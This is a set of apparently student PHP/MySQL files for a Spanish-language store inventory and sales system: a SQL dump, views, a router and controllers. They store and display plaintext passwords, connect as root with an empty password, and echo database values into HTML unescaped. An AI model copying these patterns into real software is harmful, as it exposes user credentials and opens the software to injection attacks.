@OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Base de datos: `sistema2` -- -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `categorias` -- CREATE TABLE `categorias` ( `id_categoria` int(11) NOT NULL, `nombre` varchar(255) NOT NULL, `descripcion` varchar(255) NOT NULL, `fecha` date NOT NULL, `id_tienda` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `categorias` -- INSERT INTO `categorias` (`id_categoria`, `nombre`, `descripcion`, `fecha`, `id_tienda`) VALUES (1, 'Botanas', 'Deliciosas frituras para fiestas', '2018-06-05', 2), (2, 'Bebidas', 'Refrescantes líquidos', '2018-06-05', 2), (4, 'Abarrotes', 'De Todo', '2018-06-08', 3), (6, 'Higiene', 'Articulos de limpieza', '2018-06-10', 0), (7, 'Higiene', 'Artículos de Limpieza', '2018-06-18', 2); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `historial` -- CREATE TABLE `historial` ( `id_historial` int(11) NOT NULL, `id_producto` int(11) NOT NULL, `user_id` int(11) NOT NULL, `fecha` date NOT NULL, `nota` varchar(255) NOT NULL, `referencia` varchar(100) NOT NULL, `cantidad` int(11) NOT NULL, `id_tienda` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `historial` -- INSERT INTO `historial` (`id_historial`, `id_producto`, `user_id`, `fecha`, `nota`, `referencia`, `cantidad`, `id_tienda`) VALUES (1, 2, 1, '2018-06-05', 'Se agregaron 2', '<NAME>', 2, 2), (2, 2, 2, '2018-06-06', 'Se agregaron 2', '<NAME>', 2, 2), (5, 3, 1, '2018-06-05', 'Se retiraron 10 unidades', '<NAME>', 10, 3), (6, 3, 3, '2018-06-06', 'Se retiraron 4 unidades', '<NAME> 23', 4, 3), (7, 3, 2, '2018-06-06', 'Se retiraron 6 unidades', '<NAME>', 6, 3), (8, 3, 1, '2018-06-06', 'Se agregaron 20', '<NAME>', 20, 3), (9, 3, 1, '2018-06-08', 'Se agregaron 3', '<NAME>', 3, 3), (10, 3, 1, '2018-06-08', 'Se retiraron 3 unidades', '<NAME>', 3, 3), (15, 5, 2, '2018-06-18', 'Se retiraron 4 unidades', '<NAME>', 4, 2); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `productos` -- CREATE TABLE `productos` ( `id_producto` int(11) NOT NULL, `codigo_producto` varchar(20) NOT NULL, `nombre` varchar(255) NOT NULL, `fecha` date NOT NULL, `preciounitario` double NOT NULL, `stock` int(11) NOT NULL, `id_categoria` int(11) NOT NULL, `id_tienda` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `productos` -- INSERT INTO `productos` (`id_producto`, `codigo_producto`, `nombre`, `fecha`, `preciounitario`, `stock`, `id_categoria`, `id_tienda`) VALUES (1, 'GAM01', 'Galletas Vainilla', '2018-06-04', 10, 25, 1, 2), (2, 'GAM02', 'Galletas Chocolate', '2018-06-04', 6, 20, 2, 2), (3, 'GAM03', 'Galletas Fresa', '2018-06-05', 12, 20, 2, 3), (5, 'ESP03', 'Jugo', '2018-06-18', 10, 1, 2, 2); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `productos_vendidos` -- CREATE TABLE `productos_vendidos` ( `id_producto_vendido` int(11) NOT NULL, `id_producto` int(11) NOT NULL, `cantidad` int(11) NOT NULL, `total` int(11) NOT NULL, `id_venta` int(11) NOT NULL, `id_tienda` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `productos_vendidos` -- INSERT INTO `productos_vendidos` (`id_producto_vendido`, `id_producto`, `cantidad`, `total`, `id_venta`, `id_tienda`) VALUES (1, 1, 2, 20, 1, 2), (5, 2, 3, 18, 23, 2), (6, 3, 5, 60, 24, 3), (7, 1, 8, 80, 25, 2), (8, 2, 9, 54, 26, 2), (9, 3, 5, 60, 27, 3), (11, 1, 80, 800, 29, 2), (13, 1, 1, 10, 31, 2), (14, 1, 3, 30, 32, 2), (15, 1, 3, 30, 33, 2), (16, 1, 4, 40, 34, 2), (17, 1, 9, 90, 35, 2); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `tiendas` -- CREATE TABLE `tiendas` ( `id_tienda` int(11) NOT NULL, `nombre` varchar(20) NOT NULL, `direccion` varchar(100) NOT NULL, `status` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `tiendas` -- INSERT INTO `tiendas` (`id_tienda`, `nombre`, `direccion`, `status`) VALUES (1, 'ROOT', 'Default', 0), (2, 'Walmart', 'Adelitas', 1), (3, 'Sam\'s', 'Adelitas', 0), (4, 'Waldo\'s', 'Centro', 0), (5, 'Coppel', 'Adelitas', 0), (6, 'Liverpool', 'Lejos', 1); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `usuarios` -- CREATE TABLE `usuarios` ( `id_usuario` int(11) NOT NULL, `nombre` varchar(20) NOT NULL, `apellido` varchar(20) NOT NULL, `username` varchar(64) NOT NULL, `password` varchar(255) NOT NULL, `email` varchar(64) NOT NULL, `fecha` date NOT NULL, `id_tienda` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `usuarios` -- INSERT INTO `usuarios` (`id_usuario`, `nombre`, `apellido`, `username`, `password`, `email`, `fecha`, `id_tienda`) VALUES (1, 'Sergio', 'Perez', 'admin', 'admin', '<EMAIL>', '2018-05-10', 1), (2, 'Allegoric', 'Cheese', 'user', 'user', '<EMAIL>', '2018-06-05', 2), (3, 'Luis', 'Perez', '1530073', 'sergio', '<EMAIL>', '2018-06-03', 3), (5, 'Lorena', 'Perez', '1530370', '123', '<EMAIL>', '2018-06-10', 1), (6, 'Luis', 'Sanchez', 'LS', '12', '<EMAIL>', '2018-06-18', 2), (7, 'Sergio2', 'Perez', 'user', 'sergio', '<EMAIL>', '2018-06-18', 3); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `ventas` -- CREATE TABLE `ventas` ( `id_venta` int(11) NOT NULL, `fecha` date NOT NULL, `total` int(11) NOT NULL, `id_tienda` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `ventas` -- INSERT INTO `ventas` (`id_venta`, `fecha`, `total`, `id_tienda`) VALUES (1, '2018-06-11', 20, 2), (23, '2018-06-15', 18, 2), (24, '2018-06-15', 60, 3), (25, '2018-06-28', 80, 2), (26, '2018-06-15', 54, 2), (27, '2018-06-18', 60, 3), (28, '2018-06-18', 30, 3), (29, '2018-06-08', 800, 2), (31, '2018-06-18', 10, 2), (32, '2018-06-18', 30, 2), (33, '2018-06-18', 30, 2), (34, '2018-06-18', 40, 2), (35, '2018-06-20', 90, 2); -- -- Índices para tablas volcadas -- -- -- Indices de la tabla `categorias` -- ALTER TABLE `categorias` ADD PRIMARY KEY (`id_categoria`); -- -- Indices de la tabla `historial` -- ALTER TABLE `historial` ADD PRIMARY KEY (`id_historial`), ADD KEY `id_producto` (`id_producto`), ADD KEY `user_id` (`user_id`); -- -- Indices de la tabla `productos` -- ALTER TABLE `productos` ADD PRIMARY KEY (`id_producto`), ADD KEY `id_categoria` (`id_categoria`); -- -- Indices de la tabla `productos_vendidos` -- ALTER TABLE `productos_vendidos` ADD PRIMARY KEY (`id_producto_vendido`), ADD KEY `productos_vendidos_ibfk_2` (`id_venta`), ADD KEY `productos_vendidos_ibfk_1` (`id_producto`); -- -- Indices de la tabla `tiendas` -- ALTER TABLE `tiendas` ADD PRIMARY KEY (`id_tienda`); -- -- Indices de la tabla `usuarios` -- ALTER TABLE `usuarios` ADD PRIMARY KEY (`id_usuario`); -- -- Indices de la tabla `ventas` -- ALTER TABLE `ventas` ADD PRIMARY KEY (`id_venta`); -- -- AUTO_INCREMENT de las tablas volcadas -- -- -- AUTO_INCREMENT de la tabla `categorias` -- ALTER TABLE `categorias` MODIFY `id_categoria` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8; -- -- AUTO_INCREMENT de la tabla `historial` -- ALTER TABLE `historial` MODIFY `id_historial` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=16; -- -- AUTO_INCREMENT de la tabla `productos` -- ALTER TABLE `productos` MODIFY `id_producto` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7; -- -- AUTO_INCREMENT de la tabla `productos_vendidos` -- ALTER TABLE `productos_vendidos` MODIFY `id_producto_vendido` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=18; -- -- AUTO_INCREMENT de la tabla `tiendas` -- ALTER TABLE `tiendas` MODIFY `id_tienda` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7; -- -- AUTO_INCREMENT de la tabla `usuarios` -- ALTER TABLE `usuarios` MODIFY `id_usuario` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8; -- -- AUTO_INCREMENT de la tabla `ventas` -- ALTER TABLE `ventas` MODIFY `id_venta` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=36; -- -- Restricciones para tablas volcadas -- -- -- Filtros para la tabla `historial` -- ALTER TABLE `historial` ADD CONSTRAINT `historial_ibfk_1` FOREIGN KEY (`id_producto`) REFERENCES `productos` (`id_producto`) ON DELETE CASCADE ON UPDATE NO ACTION, ADD CONSTRAINT `historial_ibfk_2` FOREIGN KEY (`user_id`) REFERENCES `usuarios` (`id_usuario`) ON DELETE CASCADE ON UPDATE NO ACTION; -- -- Filtros para la tabla `productos` -- ALTER TABLE `productos` ADD CONSTRAINT `productos_ibfk_1` FOREIGN KEY (`id_categoria`) REFERENCES `categorias` (`id_categoria`) ON DELETE CASCADE ON UPDATE NO ACTION; -- -- Filtros para la tabla `productos_vendidos` -- ALTER TABLE `productos_vendidos` ADD CONSTRAINT `productos_vendidos_ibfk_1` FOREIGN KEY (`id_producto`) REFERENCES `productos` (`id_producto`) ON DELETE CASCADE, ADD CONSTRAINT `productos_vendidos_ibfk_2` FOREIGN KEY (`id_venta`) REFERENCES `ventas` (`id_venta`) ON DELETE CASCADE; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep>/Calificar/1/Practica6/count_view.php <?php //Se requiere el archivo database_utilities.php para poder usar las diferentes metodos que usaran las senetencias SQL require_once('database_utilities.php'); //Se ejecutara la funcion run_query donde se haran distintas consultas que traera el conteo de todas las distintas tablas //donde en algunas tendran ciertas clausulas where para obtener un resultado especifico //se retornara un array asociativo con todos los resultados que sera llamado resultados $resultados = run_query(); ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Curso PHP | Bienvenidos</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header.php'); ?> <div class="row"> <div class="large-9 columns"> <h3>Ejemplos de listado en array</h3> <p>Listado</p> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <!-- Se condiciona si se obtuvieron resultados para proceder a hacer la tabla que los mostrara --> <?php if($resultados){ ?> <h3>Datos Totales</h3> <table> <thead> <tr> <th width="200">Usuarios</th> <th width="250">Tipos</th> <th width="250">Status</th> <th width="250">Accesos</th> <th width="250">Usuarios Activos</th> <th width="250">Usuarios Inactivos</th> </tr> </thead> <tbody> <tr> <!-- Aqui simplemente se imprime una fila con los distintos resultados que se obtuvieron del metodo run_query y se imprimiran en su columna correspondiente --> <td><?php echo $resultados["total_users"]?></td> <td><?php echo $resultados['total_user_types'] ?></td> <td><?php echo $resultados['total_status_types'] ?></td> <td><?php echo $resultados['total_user_logs'] ?></td> <td><?php echo $resultados['total_user_active'] ?></td> <td><?php echo $resultados['total_user_inactive'] ?></td> </tr> </tbody> </table> <?php }else{ ?> No hay registros <?php } ?> <?php //Ahora se llamara un metodo que hace una vista a la tabla 'user', este metodo trae un array asociativo con sus resultados $resultados = queryUsersTable(); if($resultados){ ?> <!-- Se condiciona si se obtuvieron resultados para proceder a hacer la tabla que los mostrara --> <h3>Tabla User</h3> <table> <thead> <tr> <th width="200">Id</th> <th width="250">E-mail</th> <th width="250">Password</th> <th width="250">Status Id</th> <th width="250">User Type Id</th> </tr> </thead> <tbody> <?php foreach( $resultados as $id => $user ){ // Se recorrera el array asoc y se pondra los distintos valores siendo cada iteracion una fila nueva ?> <tr> <td><?php echo $user['id'] ?></td> <td><?php echo $user['email'] ?></td> <td><?php echo $user['password'] ?></td> <td><?php echo $user['status_id'] ?></td> <td><?php echo $user['user_type_id'] ?></td> </tr> <?php } ?> <tr> <!-- Se cuenta cuantos registras hay para poderlos senalar --> <td colspan="4"><b>Total de registros: </b> <?php echo count($resultados); ?></td> </tr> </tbody> </table> <?php }else{ ?> No hay registros <?php } ?> <?php //Ahora se llamara un metodo que hace una vista a la tabla 'user_logs', este metodo trae un array asociativo con sus resultados $resultados = queryUserLogTable(); //Se condiciona si se obtuvieron resultados para proceder a hacer la tabla que los mostrara if($resultados){ ?> <h3>Tabla User_Log</h3> <table> <thead> <tr> <th width="200">Id</th> <th width="250">Date Logged In</th> <th width="250">User Id</th> </tr> </thead> <tbody> <?php foreach( $resultados as $id => $user ){ // Se recorrera el array asoc y se pondra los distintos valores siendo cada iteracion una fila nueva ?> <tr> <td><?php echo $user['id'] ?></td> <td><?php echo $user['date_logged_in'] ?></td> <td><?php echo $user['user_id'] ?></td> </tr> <?php } ?> <tr> <!-- Se cuenta cuantos registras hay para poderlos senalar --> <td colspan="4"><b>Total de registros: </b> <?php echo count($resultados); ?></td> </tr> </tbody> </table> <?php }else{ ?> No hay registros <?php } ?> <?php //Ahora se llamara un metodo que hace una vista a la tabla 'user_types', este metodo trae un array asociativo con sus resultados $resultados = queryUserTypeTable(); //Se condiciona si se obtuvieron resultados para proceder a hacer la tabla que los mostrara if($resultados){ ?> <h3>Tabla User_Type</h3> <table> <thead> <tr> <th width="200">Id</th> <th width="250">Name</th> </tr> </thead> <tbody> <?php foreach( $resultados as $id => $user ){ // Se recorrera el array asoc y se pondra los distintos valores siendo cada iteracion una fila nueva ?> <tr> <td><?php echo $user['id'] ?></td> <td><?php echo $user['name'] ?></td> </tr> <?php } ?> <tr> <!-- Se cuenta cuantos registras hay para poderlos senalar --> <td colspan="4"><b>Total de registros: </b> <?php echo count($resultados); ?></td> </tr> </tbody> </table> <?php }else{ ?> No hay registros <?php } ?> <?php //Ahora se llamara un metodo que hace una vista a la tabla 'status', este metodo trae un array asociativo con sus resultados $resultados = queryStatusTable(); //Se condiciona si se obtuvieron resultados para proceder a hacer la tabla que los mostrara if($resultados){ ?> <h3>Tabla Status</h3> <table> <thead> <tr> <th width="200">Id</th> <th width="250">Name</th> </tr> </thead> <tbody> <?php foreach( $resultados as $id => $user ){ // Se recorrera el array asoc y se pondra los distintos valores siendo cada iteracion una fila nueva ?> <tr> <td><?php echo $user['id'] ?></td> <td><?php echo $user['name'] ?></td> </tr> <?php } ?> <tr> <!-- Se cuenta cuantos registras hay para poderlos senalar --> <td colspan="4"><b>Total de registros: </b> <?php echo count($resultados); ?></td> </tr> </tbody> </table> <?php }else{ ?> No hay registros <?php } ?> </div> </section> </div> </div> </div> <?php require_once('footer.php'); ?> <script type="text/javascript"> //Funcion para crear la alerta de estar seguros si queremos eliminar el usuario ya que la eliminacion del usuario //nos llevara a una diferente pagina function avoidDeleting() { var msj = confirm("Deseas eliminar este usuario?"); if(msj == false) { event.preventDefault(); } } </script><file_sep>/Ventas/models/enlaces.php <?php class Paginas{ public function enlacesPaginasModel($enlaces){ if($enlaces == "ingresar" || $enlaces == "usuarios" || $enlaces == "editar" || $enlaces == "salir" || $enlaces == "registrarUsuario" || $enlaces == "productos" || $enlaces == "registrarProducto" || $enlaces == "editarProducto" || $enlaces == "dashboard" || $enlaces == "categorias" || $enlaces == "registrarCategoria" || $enlaces == "editarCategoria" || $enlaces == "historial" || $enlaces == "añadirStockProducto" || $enlaces == "quitarStockProducto" || $enlaces == "help" || $enlaces == "tiendas" || $enlaces == "registrarTienda" || $enlaces == "editarTienda" || $enlaces == "ventas" || $enlaces == "registrarVenta" || $enlaces == "editarVenta"){ $module = "views/modules/".$enlaces.".php"; } else if($enlaces == "index"){ $module = "views/modules/ingresar.php"; } else if($enlaces == "ok"){ $module = "views/modules/registro.php"; } else if($enlaces == "UsuarioRegistrado"){ $module = "views/modules/usuarios.php"; echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-success" role="alert"> <strong>Usuario Registrado!</strong> Se agregó el usuario. </div> </div> </div> </div>'; } else if($enlaces == "ProductoRegistrado"){ $module = "views/modules/productos.php"; echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-success" role="alert"> <strong>Producto Registrado!</strong> Se agregó el producto. </div> </div> </div> </div>'; } else if($enlaces == "CategoriaRegistrada"){ $module = "views/modules/categorias.php"; echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-success" role="alert"> <strong>Categoria Registrada!</strong> Se agregó la categoria. </div> </div> </div> </div>'; } else if($enlaces == "TiendaRegistrada"){ $module = "views/modules/tiendas.php"; echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-success" role="alert"> <strong>Tienda Registrada!</strong> Se agregó la tienda. </div> </div> </div> </div>'; } else if($enlaces == "VentaRegistrada"){ $module = "views/modules/ventas.php"; echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-success" role="alert"> <strong>Venta Completada!</strong> Se realizó corectamente la venta. </div> </div> </div> </div>'; } else if($enlaces == "TiendaActivada"){ $module = "views/modules/tiendas.php"; } else if ($enlaces == "TiendaDesactivada") { $module = "views/modules/tiendas.php"; } else if($enlaces == "fallo"){ $module = "views/modules/ingresar.php"; } else if($enlaces == "ProductoEditado"){ $module = "views/modules/productos.php"; echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-info" role="alert"> <strong>Producto Editado!</strong> Se actualizo la informacion. </div> </div> </div> </div>'; } else if($enlaces == "StockInsuficiente"){ $module = "views/modules/ventas.php"; echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-danger" role="alert"> <strong>Error!</strong> La cantidad solicitada en la venta, es mayor al stock disponible. </div> </div> </div> </div>'; } else if($enlaces == "UsuarioEditado"){ $module = "views/modules/usuarios.php"; echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-info" role="alert"> <strong>Usuario Editado!</strong> Se actualizo la informacion. </div> </div> </div> </div>'; } else if($enlaces == "CategoriaEditada"){ $module = "views/modules/categorias.php"; echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-info" role="alert"> <strong>Categoria Editada!</strong> Se actualizo la informacion. </div> </div> </div> </div>'; } else if($enlaces == "TiendaEditada"){ $module = "views/modules/tiendas.php"; echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-info" role="alert"> <strong>Tienda Editada!</strong> Se actualizo la informacion. </div> </div> </div> </div>'; } else if($enlaces == "StockAñadido"){ $module = "views/modules/historial.php"; } else if($enlaces == "StockReducido"){ $module = "views/modules/historial.php"; } else{ $module = "views/modules/registro.php"; } return $module; } } ?><file_sep>/05_final/database_credentials.php <?php //Credenciales para la conexion a la base de datos $servidor = 'localhost'; $usuario = 'root'; $password = ''; $bd = 'usuarios'; ?><file_sep>/Ventas - copia/views/modules/ventas.php <?php //Verifica sesion session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>AdminLTE 3 | Data Tables</title> </head> <body class="hold-transition sidebar-mini"> <div class="wrapper"> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <h1>Ventas</h1> </div> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> <li class="breadcrumb-item"><a href="index.php?action=dashboard">Home</a></li> <li class="breadcrumb-item active">Ventas</li> </ol> </div> </div> </div><!-- /.container-fluid --> </section> <!-- Main content --> <section class="content"> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-header"> <div class="float-left"> <!--<a ><input class="btn btn-block btn-success" value="Nuevo Usuario"></a>--> <a href="index.php?action=registrarVenta" class="btn btn-success" title= "Nueva Venta"> <i class="fa fa-user-plus"></i> Nueva Venta </a> </div> </div> <!-- /.card-header --> <div class="card-body"> <table id="example1" class="table table-bordered table-striped"> <thead> <tr> <th>ID</th> <th>Fecha</th> <th>Total</th> <th>Acciones</th> <!--<th>Eliminar</th>--> </tr> </thead> <tbody> <?php //Vista completa de los usuarios mediante un datatable $vistaVenta = new MvcController(); $vistaVenta -> vistaVentasController(); //$vistaUsuario -> borrarUsuarioController(); ?> </tbody> <tfoot> <tr> <th>ID</th> <th>Fecha</th> <th>Total</th> <th>Acciones</th> <!--<th>Eliminar</th>--> </tr> </tfoot> </table> </div> <!-- /.card-body --> </div> <!-- /.card --> </div> <!-- /.col --> </div> <!-- /.row --> </section> <!-- /.content --> </div> <!-- /.content-wrapper --> <footer class="main-footer"> <div class="float-right d-none d-sm-block"> <b>Version</b> 3.0.0-alpha </div> <strong>Copyright &copy; 2014-2018 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights reserved. </footer> <!-- Control Sidebar --> <aside class="control-sidebar control-sidebar-dark"> <!-- Control sidebar content goes here --> </aside> <!-- /.control-sidebar --> </div> <!-- ./wrapper --> <!-- page script --> <script> $(function () { $("#example1").DataTable(); $('#example2').DataTable({ "paging": true, "lengthChange": false, "searching": false, "ordering": true, "info": true, "autoWidth": false }); }); </script> </body> </html> <!--<br> <h4>LISTADO USUARIOS</h4> <hr> <br> <input type="button" style="left: -200px" class="button radius tiny success" value="Nuevo Usuario" onclick="window.location= 'index.php?action=registrarUsuario' "> <br> <!-- Tabla con el listado de alumnos <table border="1"> <thead> <tr> <th>ID</th> <th>Nombre</th> <th>Username</th> <th>Password</th> <th>Editar</th> <th>Eliminar</th> </tr> </thead> <tbody> <?php //Se manda al controler MvcController y llama a vistaAlumnosController y borrarAlumnosController //$vistaUsuario= new MvcController(); //$vistaUsuario -> vistaUsuariosController(); //$vistaUsuario -> borrarUsuarioController(); ?> </tbody> </table>--> <?php if(isset($_GET["action"])){ if($_GET["action"] == "AlumnoEditado"){ //echo "Cambio Exitoso"; } } ?> <file_sep>/PNF/Practica12 - NOFunc/views/modules/registrarProducto.php <?php //Verifica la sesion session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>AdminLTE 3 | Data Tables</title> </head> <body class="hold-transition sidebar-mini"> <div class="wrapper"> <!-- Formulario para la insercion de Alumnos --> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <h1>Registrar Producto</h1> </div> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> <li class="breadcrumb-item"><a href="index.php?action=productos">Home</a></li> <li class="breadcrumb-item active">Registrar Producto</li> </ol> </div> </div> </div><!-- /.container-fluid --> </section> <!-- Main content --> <section class="content"> <div class="container-fluid"> <div class="row"> <!-- left column --> <div class="col-md-12"> <!-- general form elements --> <div class="card card-info"> <div class="card-header" style="background-color: #05758c"> <div class="float-right"> <a href="index.php?action=productos"><input class="btn btn-block btn-outline-warning" value="Listado de Productos"></a> </div> <h3 class="card-title">Información General</h3> </div> <!-- /.card-header --> <!-- Formulario de registrar producto--> <form method="post"> <div class="card-body"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">Código de Producto</label> <input type="text" class="form-control" name="codigoproducto" placeholder="Código de Producto"> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputEmail1">Nombre</label> <input type="text" class="form-control" name="nombre" placeholder="Nombre"> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputPassword1">Fecha</label> <input type="date" class="form-control" name="fecha" placeholder="Fecha"> </div> </div> <!-- /.col --> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">Precio</label> <input type="number" class="form-control" name="precio" placeholder="Precio"> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputPassword1">Stock</label> <input type="number" class="form-control" name="stock" placeholder="Cantidad"> </div> <!-- /.form-group --> <div class="form-group"> <!-- <label for="exampleInputPassword1">Categoria</label> <input type="text" class="form-control" name="descripcion" placeholder="Descripción">--> <label for="exampleInputPassword1">Categoria</label> <select class="form-control select2" type="number" name="categoria" style="width: 100%;"> <!--<option selected="selected">Alabama</option>--> <?php //Se extrae las categorias existentes y se presentan en opciones de un select $categorias = new MvcController(); $categorias -> seleccionarCategoriasController(); ?> </select> </div> </div> <!-- /.col --> </div> <!-- /.row --> </div> <!-- /.card-body --> <div class="card-body"> <div class="row"> <div class="col-md-3"> <div></div> </div> <div class="col-md-6"> <div class="card-footer"> <input type="submit" class="btn btn-block" style="background-color: #dd7d00; color: white;" name="enviar" value="Añadir"> </div> </div> <div class="col-md-3"> <div></div> </div> </div> </div> </form> </div> <!-- /.card --> </div> </div> </div> </section> </div> </div> </body> </html> <!--<form method="post"> <label>Nombre: </label> <input type="text" placeholder="Nombre" name="nombre" required> <label>Descripcion: </label> <input type="text" placeholder="Descripcion" name="descripcion" required> <label>Cantidad: </label> <input type="text" placeholder="Cantidad" name="cantidad" required> <label>Precio Unitario: </label> <input type="text" placeholder="Precio" name="precio" required> <input type="submit" class="button radius tiny" name="enviar" style="background-color: #360956; left: -1px; width: 400px;" value="Enviar"> </form>--> <?php //Enviar los datos al controlador MvcController (es la clase principal de controller.php) $registro = new MvcController(); //se invoca la función registroProductoController de la clase MvcController: $registro -> registroProductoController(); if(isset($_GET["action"])){ if($_GET["action"] == "ProductoRegistrado"){ //echo "Producto Añadido"; } } ?> <file_sep>/Practica082/controllers/controllerCarreras.php <?php class MvcControllerCarreras{ #LLAMADA A LA PLANTILLA #------------------------------------- public function pagina(){ include "views/template.php"; } #ENLACES #------------------------------------- public function enlacesPaginasController(){ if(isset( $_GET['action'])){ $enlaces = $_GET['action']; } else{ $enlaces = "index"; } $respuesta = Paginas::enlacesPaginasModel($enlaces); include $respuesta; } #REGISTRO DE ALUMNOS #------------------------------------ public function registroCarrerasController(){ if(isset($_POST["nombre"])){ //Recibe a traves del método POST el name (html) de usuario, password y email, se almacenan los datos en una variable de tipo array con sus respectivas propiedades (usuario, password y email): $datosController = array( "nombre"=>$_POST["nombre"]); //Se le dice al modelo models/crud.php (Datos::registroUsuarioModel),que en la clase "Datos", la funcion "registroUsuarioModel" reciba en sus 2 parametros los valores "$datosController" y el nombre de la tabla a conectarnos la cual es "usuarios": $respuesta = DatosCarreras::registroCarrerasModel($datosController, "carreras"); //se imprime la respuesta en la vista if($respuesta == "success"){ header("location:index.php?action=CarreraRegistrada"); } else{ header("location:index.php"); } } } #INGRESO DE MAESTROS #------------------------------------ public function ingresoMaestroController(){ if(isset($_POST["usuarioIngreso"])){ $datosController = array( "email"=>$_POST["usuarioIngreso"], "password"=>$_POST["<PASSWORD>Ingreso"]); $respuesta = Datos::ingresoMaestroModel($datosController, "maestros"); //Valiación de la respuesta del modelo para ver si es un usuario correcto. if($respuesta["email"] == $_POST["usuarioIngreso"] && $respuesta["password"] == $_POST["<PASSWORD>"]){ session_start(); $_SESSION["validar"] = true; header("location:index.php?action=alumnos"); } else{ header("location:index.php?action=fallo"); } } } #VISTA DE ALUMNOS #------------------------------------ public function vistaCarrerasController(){ $respuesta = DatosCarreras::vistaCarrerasModel("carreras"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<tr> <td>'.$item["id"].'</td> <td>'.$item["nombre"].'</td> <td><a href="index.php?action=editarcarreras&id='.$item["id"].'"><button class="button radius tiny secondary">Editar</button></a></td> <td><a href="index.php?action=carreras&idBorrar='.$item["id"].'"><button class="button radius tiny alert">Borrar</button></a></td> </tr>'; } } public function vistaReportesCarreraController(){ $respuesta = DatosCarreras::vistaCarrerasModel("carreras"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<tr> <td>'.$item["id"].'</td> <td>'.$item["nombre"].'</td> </tr>'; } } #EDITAR ALUMNO #------------------------------------ public function editarCarreraController(){ $datosController = $_GET["id"]; $respuesta = DatosCarreras::editarCarreraModel($datosController, "carreras"); echo'<input type="text" value="'.$respuesta["id"].'" name="idEditar" readonly> <input type="text" value="'.$respuesta["nombre"].'" name="nombreEditar" required> <input type="submit" class="button radius tiny" style="background-color: #360956; left: -1px; width: 400px;" 